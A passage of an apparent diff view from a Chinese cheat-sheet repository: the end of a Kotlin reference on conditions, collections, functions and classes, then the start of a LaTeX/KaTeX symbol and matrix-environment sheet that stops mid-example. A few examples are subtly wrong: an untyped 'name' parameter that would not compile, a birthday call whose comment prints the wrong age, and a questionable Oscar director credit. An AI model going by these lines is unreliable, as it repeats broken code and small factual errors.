println(!full) // true
|
||||
```
|
||||
|
||||
### 评估顺序
|
||||
|
||||
```kotlin
|
||||
!true && (false || true) // false
|
||||
/*
|
||||
(false || true) 被评估首先返回 true。
|
||||
然后,评估 !true && true 并返回最终结果 false
|
||||
*/
|
||||
|
||||
!false && true || false // true
|
||||
/*
|
||||
!false 被评估首先返回 true。
|
||||
然后评估 true && true,返回 true。
|
||||
那么,真|| 评估 false 最终返回 true
|
||||
*/
|
||||
```
|
||||
|
||||
### 嵌套条件
|
||||
|
||||
```kotlin
|
||||
var studied = true
|
||||
var wellRested = true
|
||||
|
||||
if (wellRested) {
|
||||
println("祝你今天好运!")
|
||||
if (studied) {
|
||||
println("你应该为考试做好准备!")
|
||||
} else {
|
||||
println("考试前花几个小时学习!")
|
||||
}
|
||||
}
|
||||
|
||||
// 打印: 祝你今天好运!
|
||||
// 打印: 你应该为考试做好准备!
|
||||
```
|
||||
|
||||
### 当表达式
|
||||
|
||||
```kotlin
|
||||
var grade = "A"
|
||||
|
||||
when(grade) {
|
||||
"A" -> println("很棒的工作!")
|
||||
"B" -> println("做得太好了!")
|
||||
"C" -> println("你通过了!")
|
||||
else -> println("关!下次一定要多准备!")
|
||||
}
|
||||
// 打印: 很棒的工作!
|
||||
```
|
||||
|
||||
### 范围运算符
|
||||
|
||||
```kotlin
|
||||
var height = 46 // inches
|
||||
|
||||
if (height in 1..53) {
|
||||
println("抱歉,您必须至少 54 英寸才能乘坐过山车")
|
||||
}
|
||||
// Prints: 抱歉,您必须至少 54 英寸才能乘坐过山车
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 等式运算符
|
||||
|
||||
```kotlin
|
||||
var myAge = 22
|
||||
var sisterAge = 21
|
||||
|
||||
myAge == sisterAge // false
|
||||
myAge !== sisterAge // true
|
||||
```
|
||||
|
||||
Collections
|
||||
---
|
||||
|
||||
### 不可变列表
|
||||
|
||||
```kotlin
|
||||
var programmingLanguages = listOf("C#", "Java", "Kotlin", "Ruby")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 可变列表
|
||||
|
||||
```kotlin
|
||||
var fruits = mutableListOf("Orange", "Apple", "Banana", "Mango")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 访问列表元素
|
||||
|
||||
```kotlin
|
||||
var cars = listOf("BMW", "Ferrari", "Volvo", "Tesla")
|
||||
|
||||
println(cars[2]) // Prints: Volvo
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 大小属性
|
||||
|
||||
```kotlin
|
||||
var worldContinents = listOf("Asia", "Africa", "North America", "South America", "Antarctica", "Europe", "Australia")
|
||||
|
||||
println(worldContinents.size) // Prints: 7
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 列表操作
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```kotlin
|
||||
var seas = listOf("Black Sea", "Caribbean Sea", "North Sea")
|
||||
println(seas.contains("North Sea")) // Prints: true
|
||||
|
||||
// contains() 函数对任何列表执行读取操作并确定元素是否存在
|
||||
seas.add("Baltic Sea") // 错误:无法对不可变列表执行写操作
|
||||
// add() 函数只能在可变列表上调用,因此上面的代码会引发错误
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 不可变集
|
||||
|
||||
```kotlin
|
||||
var primaryColors = setOf("Red", "Blue", "Yellow")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 可变集
|
||||
|
||||
```kotlin
|
||||
var womenInTech = mutableSetOf("Ada Lovelace", "Grace Hopper", "Radia Perlman", "Sister Mary Kenneth Keller")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 访问集合元素
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```kotlin
|
||||
var companies = setOf("Facebook", "Apple", "Netflix", "Google")
|
||||
|
||||
println(companies.elementAt(3))
|
||||
// Prints: Google
|
||||
println(companies.elementAt(4))
|
||||
// Returns and Error
|
||||
println(companies.elementAtOrNull(4))
|
||||
// Prints: null
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 不可变映射
|
||||
|
||||
```kotlin
|
||||
var averageTemp = mapOf("winter" to 35, "spring" to 60, "summer" to 85, "fall" to 55)
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 可变映射
|
||||
|
||||
```kotlin
|
||||
var europeanDomains = mutableMapOf("Germany" to "de", "Slovakia" to "sk", "Hungary" to "hu", "Norway" to "no")
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 检索映射键和值
|
||||
|
||||
```kotlin
|
||||
var oscarWinners = mutableMapOf("Parasite" to "Bong Joon-ho", "Green Book" to "Jim Burke", "The Shape Of Water" to "Guillermo del Toro")
|
||||
|
||||
println(oscarWinners.keys)
|
||||
// Prints: [Parasite, Green Book, The Shape Of Water]
|
||||
|
||||
println(oscarWinners.values)
|
||||
// Prints: [Bong Joon-ho, Jim Burke, Guillermo del Toro]
|
||||
|
||||
println(oscarWinners["Parasite"])
|
||||
// Prints: Bong Joon-ho
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 添加和删除地图条目
|
||||
|
||||
```kotlin
|
||||
var worldCapitals = mutableMapOf("United States" to "Washington D.C.", "Germany" to "Berlin", "Mexico" to "Mexico City", "France" to "Paris")
|
||||
|
||||
worldCapitals.put("Brazil", "Brasilia")
|
||||
println(worldCapitals)
|
||||
// Prints: {United States=Washington D.C., Germany=Berlin, Mexico=Mexico City, France=Paris, Brazil=Brasilia}
|
||||
|
||||
worldCapitals.remove("Germany")
|
||||
println(worldCapitals)
|
||||
// Prints: {United States=Washington D.C., Mexico=Mexico City, France=Paris, Brazil=Brasilia}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
函数
|
||||
---
|
||||
|
||||
### 函数
|
||||
|
||||
```kotlin
|
||||
fun greet() {
|
||||
println("Hey there!")
|
||||
}
|
||||
|
||||
fun main() {
|
||||
// Function call
|
||||
greet() // Prints: Hey there!
|
||||
}
|
||||
```
|
||||
|
||||
### 函数参数
|
||||
|
||||
```kotlin
|
||||
fun birthday(name: String, age: Int) {
|
||||
println("Happy birthday $name! You turn $age today!")
|
||||
}
|
||||
|
||||
fun main() {
|
||||
birthday("Oscar", 26)
|
||||
// Prints: Happy birthday Oscar! You turn 25 today!
|
||||
birthday("Amarah", 30)
|
||||
// Prints: Happy birthday Amarah! You turn 30 today!
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 默认参数
|
||||
|
||||
```kotlin
|
||||
fun favoriteLanguage(name, language = "Kotlin") {
|
||||
println("Hello, $name. Your favorite programming language is $language")
|
||||
}
|
||||
|
||||
fun main() {
|
||||
favoriteLanguage("Manon")
|
||||
// Prints: Hello, Manon. Your favorite programming language is Kotlin
|
||||
|
||||
favoriteLanguage("Lee", "Java")
|
||||
// Prints: Hello, Lee. Your favorite programming language is Java
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 命名参数
|
||||
|
||||
```kotlin
|
||||
fun findMyAge(currentYear: Int, birthYear: Int) {
|
||||
var myAge = currentYear - birthYear
|
||||
println("I am $myAge years old.")
|
||||
}
|
||||
|
||||
fun main() {
|
||||
findMyAge(currentYear = 2020, birthYear = 1995)
|
||||
// Prints: I am 25 years old.
|
||||
findMyAge(birthYear = 1920, currentYear = 2020)
|
||||
// Prints: I am 100 years old.
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 返回声明
|
||||
|
||||
```kotlin
|
||||
// Return type is declared outside the parentheses
|
||||
fun getArea(length: Int, width: Int): Int {
|
||||
var area = length * width
|
||||
|
||||
// return statement
|
||||
return area
|
||||
}
|
||||
|
||||
fun main() {
|
||||
var myArea = getArea(10, 8)
|
||||
println("The area is $myArea.")
|
||||
// Prints: The area is 80.
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 单表达式函数
|
||||
|
||||
```kotlin
|
||||
fun fullName(firstName: String, lastName: String) = "$firstName $lastName"
|
||||
|
||||
fun main() {
|
||||
println(fullName("Ariana", "Ortega"))
|
||||
// Prints: Ariana Ortega
|
||||
println(fullName("Kai", "Gittens"))
|
||||
// Prints: Kai Gittens
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 函数字面量
|
||||
|
||||
```kotlin
|
||||
fun main() {
|
||||
// Anonymous Function:
|
||||
var getProduct = fun(num1: Int, num2: Int): Int {
|
||||
return num1 * num2
|
||||
}
|
||||
println(getProduct(8, 3))
|
||||
// Prints: 24
|
||||
|
||||
// Lambda Expression
|
||||
var getDifference = { num1: Int, num2: Int -> num1 - num2 }
|
||||
println(getDifference(10, 3))
|
||||
// Prints: 7
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
类
|
||||
---
|
||||
|
||||
### 类示例
|
||||
|
||||
```kotlin
|
||||
// 具有包含默认值的属性的类
|
||||
class Student {
|
||||
var name = "Lucia"
|
||||
var semester = "Fall"
|
||||
var gpa = 3.95
|
||||
}
|
||||
|
||||
// 没有类体的简写语法
|
||||
class Student
|
||||
```
|
||||
|
||||
### 类实例
|
||||
|
||||
```kotlin
|
||||
// Class
|
||||
class Student {
|
||||
var name = "Lucia"
|
||||
var semester = "Fall"
|
||||
var gpa = 3.95
|
||||
}
|
||||
|
||||
fun main() {
|
||||
var student = Student()
|
||||
// Instance
|
||||
println(student.name)
|
||||
// Prints: Lucia
|
||||
println(student.semester)
|
||||
// Prints: Fall
|
||||
println(student.gpa)
|
||||
// Prints: 3.95
|
||||
}
|
||||
```
|
||||
|
||||
### 主构造函数
|
||||
|
||||
```kotlin
|
||||
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int)
|
||||
|
||||
fun main() {
|
||||
var student = Student("Lucia", 3.95, "Fall", 2022)
|
||||
println(student.name)
|
||||
// Prints: Lucia
|
||||
println(student.gpa)
|
||||
// Prints: 3.95
|
||||
println(student.semester)
|
||||
// Prints: Fall
|
||||
println(student.estimatedGraduationYear)
|
||||
// Prints: 2022
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 初始化块
|
||||
|
||||
```kotlin
|
||||
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) {
|
||||
init {
|
||||
println("$name has ${estimatedGraduationYear - 2020} years left in college.")
|
||||
}
|
||||
}
|
||||
|
||||
fun main() {
|
||||
var student = Student("Lucia", 3.95, "Fall", 2022)
|
||||
// Prints: Lucia has 2 years left in college.
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 成员函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```kotlin
|
||||
class Student(val name: String, val gpa: Double, val semester: String, val estimatedGraduationYear: Int) {
|
||||
|
||||
init {
|
||||
println("$name has ${estimatedGraduationYear - 2020} years left in college.")
|
||||
}
|
||||
|
||||
// 成员函数
|
||||
fun calculateLetterGrade(): String {
|
||||
return when {
|
||||
gpa >= 3.0 -> "A"
|
||||
gpa >= 2.7 -> "B"
|
||||
gpa >= 1.7 -> "C"
|
||||
gpa >= 1.0 -> "D"
|
||||
else -> "E"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 创建实例并调用函数时,将执行 when 表达式并返回字母等级
|
||||
fun main() {
|
||||
var student = Student("Lucia", 3.95, "Fall", 2022)
|
||||
// Prints: Lucia has 2 years left in college.
|
||||
println("${student.name}'s letter grade is ${student.calculateLetterGrade()}.")
|
||||
// Prints: Lucia's letter grade is A.
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Kotlin 语言官方文档](https://kotlinlang.org/) _(kotlinlang.org)_
|
448
docs/latex.md
Normal file
448
docs/latex.md
Normal file
@ -0,0 +1,448 @@
|
||||
LaTeX 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了 [LaTeX](https://www.latex-project.org/) 常用显示数学符号的参考列表和一些 [KaTeX](https://katex.org/) 的应用示例。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
[LaTeX](https://www.latex-project.org/) 基于 TEX 的排版系统,适用于生成高印刷质量的科技和数学、物理文档。
|
||||
|
||||
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
|
||||
- [KaTeX 官网](https://katex.org/) _(katex.org)_
|
||||
|
||||
而 [KaTeX](https://katex.org/) 只处理 LaTeX 的数学符号的一个更小的子集,用于 web 上展示
|
||||
|
||||
### 示例
|
||||
|
||||
```KaTeX
|
||||
% \f is defined as #1f(#2) using the macro
|
||||
f\relax(x) = \int_{-\infty}^\infty
|
||||
f\hat\xi\,e^{2 \pi i \xi x}
|
||||
\,d\xi
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```LaTeX
|
||||
% \f is defined as #1f(#2) using the macro
|
||||
f\relax(x) = \int_{-\infty}^\infty
|
||||
f\hat\xi\,e^{2 \pi i \xi x}
|
||||
\,d\xi
|
||||
```
|
||||
|
||||
### 行内展示
|
||||
|
||||
```markdown
|
||||
基于 KaTeX 在一行
|
||||
展示示例: `KaTeX:\int_0^\infty x^2 dx`
|
||||
```
|
||||
|
||||
基于 KaTeX 在一行展示示例: `KaTeX:\int_0^\infty x^2 dx`
|
||||
|
||||
Supported Functions
|
||||
---
|
||||
|
||||
### Accents
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
`KaTeX:a'` <pur>`a'`</pur> | `KaTeX:\tilde{a}` <pur>`\tilde{a}`</pur> | `KaTeX:\mathring{g}` <pur>`\mathring{g}`</pur>
|
||||
`KaTeX:a''` <pur>`a''`</pur> | `KaTeX:\widetilde{ac}` <pur>`\widetilde{ac}`</pur> | `KaTeX:\overgroup{AB}` <pur>`\overgroup{AB}`</pur>
|
||||
`KaTeX:a^{\prime}` <pur>`a^{\prime}`</pur> | `KaTeX:\utilde{AB}` <pur>`\utilde{AB}`</pur> | `KaTeX:\undergroup{AB}` <pur>`\undergroup{AB}`</pur>
|
||||
`KaTeX:\acute{a}` <pur>`\acute{a}`</pur> | `KaTeX:\vec{F}` <pur>`\vec{F}`</pur> | `KaTeX:\Overrightarrow{AB}` <pur>`\Overrightarrow{AB}`</pur>
|
||||
`KaTeX:\bar{y}` <pur>`\bar{y}`</pur> | `KaTeX:\overleftarrow{AB}` <pur>`\overleftarrow{AB}`</pur> | `KaTeX:\overrightarrow{AB}` <pur>`\overrightarrow{AB}`</pur>
|
||||
`KaTeX:\breve{a}` <pur>`\breve{a}`</pur> | `KaTeX:\underleftarrow{AB}` <pur>`\underleftarrow{AB}`</pur> | `KaTeX:\underrightarrow{AB}` <pur>`\underrightarrow{AB}`</pur>
|
||||
`KaTeX:\check{a}` <pur>`\check{a}`</pur> | `KaTeX:\overleftharpoon{ac}` <pur>`\overleftharpoon{ac}`</pur> | `KaTeX:\overrightharpoon{ac}` <pur>`\overrightharpoon{ac}`</pur>
|
||||
`KaTeX:\dot{a}` <pur>`\dot{a}`</pur> | `KaTeX:\overleftrightarrow{AB}` <pur>`\overleftrightarrow{AB}`</pur> | `KaTeX:\overbrace{AB}` <pur>`\overbrace{AB}`</pur>
|
||||
`KaTeX:\ddot{a}` <pur>`\ddot{a}`</pur> | `KaTeX:\underleftrightarrow{AB}` <pur>`\underleftrightarrow{AB}`</pur> | `KaTeX:\underbrace{AB}` <pur>`\underbrace{AB}`</pur>
|
||||
`KaTeX:\grave{a}` <pur>`\grave{a}`</pur> | `KaTeX:\overline{AB}` <pur>`\overline{AB}`</pur> | `KaTeX:\overlinesegment{AB}` <pur>`\overlinesegment{AB}`</pur>
|
||||
`KaTeX:\hat{\theta}` <pur>`\hat{\theta}`</pur> | `KaTeX:\underline{AB}` <pur>`\underline{AB}`</pur> | `KaTeX:\underlinesegment{AB}` <pur>`\underlinesegment{AB}`</pur>
|
||||
`KaTeX:\widehat{ac}` <pur>`\widehat{ac}`</pur> | `KaTeX:\widecheck{ac}` <pur>`\widecheck{ac}`</pur> | `KaTeX:\underbar{X}` <pur>`\underbar{X}`</pur>
|
||||
|
||||
### \text{…}中的强调功能
|
||||
|
||||
:- | :- | :-
|
||||
:- | :- | :-
|
||||
`KaTeX:\'{a}` <pur>`\'{a}`</pur> | `KaTeX:\~{a}` <pur>`\~{a}`</pur> |
|
||||
`KaTeX:\.{a}` <pur>`\.{a}`</pur> | `KaTeX:\H{a}` <pur>`\H{a}`</pur> |
|
||||
``KaTeX:\\\`{a}`` <pur><code>\\`{a}</code></pur> | `KaTeX:\={a}` <pur>`\={a}`</pur> |
|
||||
`KaTeX:\"{a}` <pur>`\"{a}`</pur> | `KaTeX:\v{a}` <pur>`\v{a}`</pur> |
|
||||
`KaTeX:\^{a}` <pur>`\^{a}`</pur> | `KaTeX:\u{a}` <pur>`\u{a}`</pur> |
|
||||
`KaTeX:\r{a}` <pur>`\r{a}`</pur> |
|
||||
|
||||
### Delimiter Sizing
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`KaTeX:\left(\LARGE{AB}\right)` | <pur>`\left(\LARGE{AB}\right)`</pur>
|
||||
`KaTeX:( \big( \Big( \bigg( \Bigg(`| <pur>`( \big( \Big( \bigg( \Bigg(`</pur>
|
||||
|
||||
---
|
||||
|
||||
:- | :- | :- | :- | :-
|
||||
:- | :- | :- | :- | :-
|
||||
`\left` | `\big` | `\bigl` | `\bigm` | `\bigr`
|
||||
`\middle` | `\Big` | `\Bigl` | `\Bigm` | `\Bigr`
|
||||
`\right` | `\bigg` | `\biggl` | `\biggm` | `\biggr`
|
||||
`` | `\Bigg` | `\Biggl` | `\Biggm` | `\Biggr`
|
||||
|
||||
### 希腊和希伯来字母 Greek and Hebrew letters
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法 | 预览 | 方法
|
||||
:- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :- | :-
|
||||
| `KaTex:\alpha` | <pur>`\alpha`</pur> | `KaTex:\kappa` | <pur>`\kappa`</pur> | `KaTex:\psi` | <pur>`\psi`</pur> | `KaTex:\digamma` | <pur>`\digamma`</pur> | `KaTex:\Delta` | <pur>`\Delta`</pur> | `KaTex:\Theta` | <pur>`\Theta`</pur> |
|
||||
| `KaTex:\beta` | <pur>`\beta`</pur> | `KaTex:\lambda` | <pur>`\lambda`</pur> | `KaTex:\rho` | <pur>`\rho`</pur> | `KaTex:\varepsilon` | <pur>`\varepsilon`</pur> | `KaTex:\Gamma` | <pur>`\Gamma`</pur> | `KaTex:\Upsilon` | <pur>`\Upsilon`</pur> |
|
||||
| `KaTex:\chi` | <pur>`\chi`</pur> | `KaTex:\mu` | <pur>`\mu`</pur> | `KaTex:\sigma` | <pur>`\sigma`</pur> | `KaTex:\varkappa` | <pur>`\varkappa`</pur> | `KaTex:\Lambda` | <pur>`\Lambda`</pur> | `KaTex:\Xi` | <pur>`\Xi`</pur> |
|
||||
| `KaTex:\delta` | <pur>`\delta`</pur> | `KaTex:\nu` | <pur>`\nu`</pur> | `KaTex:\tau` | <pur>`\tau`</pur> | `KaTex:\varphi` | <pur>`\varphi`</pur> | `KaTex:\Omega` | <pur>`\Omega`</pur> | |
|
||||
| `KaTex:\epsilon` | <pur>`\epsilon`</pur> | `KaTex:o` | <pur>`o`</pur> | `KaTex:\theta` | <pur>`\theta`</pur> | `KaTex:\varpi` | <pur>`\varpi`</pur> | `KaTex:\Phi` | <pur>`\Phi`</pur> | `KaTex:\aleph` | <pur>`\aleph`</pur> |
|
||||
| `KaTex:\eta` | <pur>`\eta`</pur> | `KaTex:\omega` | <pur>`\omega`</pur> | `KaTex:\upsilon` | <pur>`\upsilon`</pur> | `KaTex:\varrho` | <pur>`\varrho`</pur> | `KaTex:\Pi` | <pur>`\Pi`</pur> | `KaTex:\beth` | <pur>`\beth`</pur> |
|
||||
| `KaTex:\gamma` | <pur>`\gamma`</pur> | `KaTex:\phi` | <pur>`\phi`</pur> | `KaTex:\xi` | <pur>`\xi`</pur> | `KaTex:\varsigma` | <pur>`\varsigma`</pur> | `KaTex:\Psi` | <pur>`\Psi`</pur> | `KaTex:\daleth` | <pur>`\daleth`</pur> |
|
||||
| `KaTex:\iota` | <pur>`\iota`</pur> | `KaTex:\pi` | <pur>`\pi`</pur> | `KaTex:\zeta` | <pur>`\zeta`</pur> | `KaTex:\vartheta` | <pur>`\vartheta`</pur> | `KaTex:\Sigma` | <pur>`\Sigma`</pur> | `KaTex:\gimel` | <pur>`\gimel`</pur> |
|
||||
<!--rehype:className=show-header left-align-->
|
||||
|
||||
### 分隔符 Delimiters
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法
|
||||
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
|
||||
| `KaTeX:()` | <pur>`()`</pur> | `KaTeX:\lparen \rparen` | <pur>`\lparen` `\rparen`</pur> | `KaTex:⌈ ⌉` | <pur>`⌈ ⌉`</pur> | `KaTex:\lceil \rceil` | <pur>`\lceil` `\rceil`</pur> | `KaTex:\uparrow` | <pur>`\uparrow`</pur> |
|
||||
| `KaTeX:[]` | <pur>`[]`</pur> | `KaTeX:\lbrack \rbrack` | <pur>`\lbrack` `\rbrack`</pur> | `KaTex:⌊ ⌋` | <pur>`⌊ ⌋`</pur> | `KaTex:\lfloor \rfloor` | <pur>`\lfloor` `\rfloor`</pur> | `KaTex:\downarrow` | <pur>`\downarrow`</pur> |
|
||||
| `KaTeX:\{ \}` | <pur>`{}`</pur> | `KaTex:\lbrace \rbrace` | <pur>`\lbrace` `\rbrace`</pur> | `KaTex:⎰⎱` | <pur>`⎰⎱`</pur> | `KaTex:\lmoustache \rmoustache` | <pur>`\lmoustache` `\rmoustache`</pur> | `KaTex:\updownarrow` | <pur>`\updownarrow`</pur> |
|
||||
| `KaTeX:⟨ ⟩` | <pur>`⟨⟩`</pur> | `KaTex:\langle \rangle` | <pur>`\langle` `\rangle`</pur> | `KaTex:⟮ ⟯` | <pur>`⟮ ⟯`</pur> | `KaTex:\lgroup \rgroup` | <pur>`\lgroup` `\rgroup`</pur> | `KaTex:\Uparrow` | <pur>`\Uparrow`</pur> |
|
||||
| `KaTeX:∣` | <pur>`\|`</pur> | `KaTex:\vert` | <pur>`\vert`</pur> | `KaTex:┌ ┐` | <pur>`┌ ┐`</pur> | `KaTex:\ulcorner \urcorner` | <pur>`\ulcorner` `\urcorner`</pur> | `KaTex:\Downarrow` | <pur>`\Downarrow`</pur> |
|
||||
| `KaTeX:\|` _(<red>MD语法冲突</red>)_ | <pur><code>\\|</code></pur> | `KaTex:\Vert` | <pur>`\Vert`</pur> | `KaTex:└ ┘` | <pur>`└ ┘`</pur> | `KaTex:\llcorner \lrcorner` | <pur>`\llcorner` `\lrcorner`</pur> | `KaTex:\Updownarrow` | <pur>`\Updownarrow`</pur> |
|
||||
| `KaTeX:∣ ∣` | <pur>`\lvert` `\rvert`</pur> | `KaTex:\lVert \rVert` | <pur>`\lVert` `\rVert`</pur> | | <pur>`\left.`</pur> | | <pur>`\right.`</pur> | `KaTex:\backslash` | <pur>`\backslash`</pur> |
|
||||
| `KaTeX:\lang` `KaTeX:\rang` | <pur>`\lang` `\rang`<pur> | `KaTeX:\lt \gt` | <pur>`\lt \gt`</pur> | `KaTex:⟦ ⟧` | <pur>`⟦ ⟧`</pur> | `KaTex:\llbracket \rrbracket` | <pur>`\llbracket` `\rrbracket`</pur> | `KaTex:\lBrace \rBrace` | <pur>`\lBrace \rBrace`</pur> |
|
||||
<!--rehype:className=show-header left-align-->
|
||||
|
||||
Environments
|
||||
---
|
||||
|
||||
### Environments 1
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{matrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{matrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{matrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{matrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
### Environments 2
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{array}{cc}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{array}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{array}{cc}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{array}
|
||||
```
|
||||
|
||||
### Environments 3
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{pmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{pmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{pmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{pmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
### Environments 4
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{bmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{bmatrix}
|
||||
```
|
||||
|
||||
```LaTeX
|
||||
\begin{bmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{bmatrix}
|
||||
```
|
||||
|
||||
### Environments 5
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{vmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{vmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{vmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{vmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
### Environments 6
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{Vmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{Vmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{Vmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{Vmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
### Environments 7
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{Bmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{Bmatrix}
|
||||
```
|
||||
|
||||
```LaTeX
|
||||
\begin{Bmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{Bmatrix}
|
||||
```
|
||||
|
||||
### Environments 8
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\def\arraystretch{1.5}
|
||||
\begin{array}{c:c:c}
|
||||
a & b & c \\ \hline
|
||||
d & e & f \\
|
||||
\hdashline
|
||||
g & h & i
|
||||
\end{array}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\def\arraystretch{1.5}
|
||||
\begin{array}{c:c:c}
|
||||
a & b & c \\ \hline
|
||||
d & e & f \\
|
||||
\hdashline
|
||||
g & h & i
|
||||
\end{array}
|
||||
```
|
||||
|
||||
### Environments 9
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
x = \begin{cases}
|
||||
a &\text{if } b \\
|
||||
c &\text{if } d
|
||||
\end{cases}
|
||||
```
|
||||
|
||||
```LaTeX
|
||||
x = \begin{cases}
|
||||
a &\text{if } b \\
|
||||
c &\text{if } d
|
||||
\end{cases}
|
||||
```
|
||||
|
||||
### Environments 10
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{rcases}
|
||||
a &\text{if } b \\
|
||||
c &\text{if } d
|
||||
\end{rcases}⇒…
|
||||
```
|
||||
|
||||
```LaTeX
|
||||
\begin{rcases}
|
||||
a &\text{if } b \\
|
||||
c &\text{if } d
|
||||
\end{rcases}⇒…
|
||||
```
|
||||
|
||||
### Environments 11
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\begin{smallmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{smallmatrix}
|
||||
```
|
||||
<!--rehype:style=flex:1;-->
|
||||
|
||||
```LaTeX
|
||||
\begin{smallmatrix}
|
||||
a & b \\
|
||||
c & d
|
||||
\end{smallmatrix}
|
||||
```
|
||||
|
||||
### Environments 12
|
||||
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
|
||||
|
||||
```KaTeX
|
||||
\sum_{
|
||||
\begin{subarray}{l}
|
||||
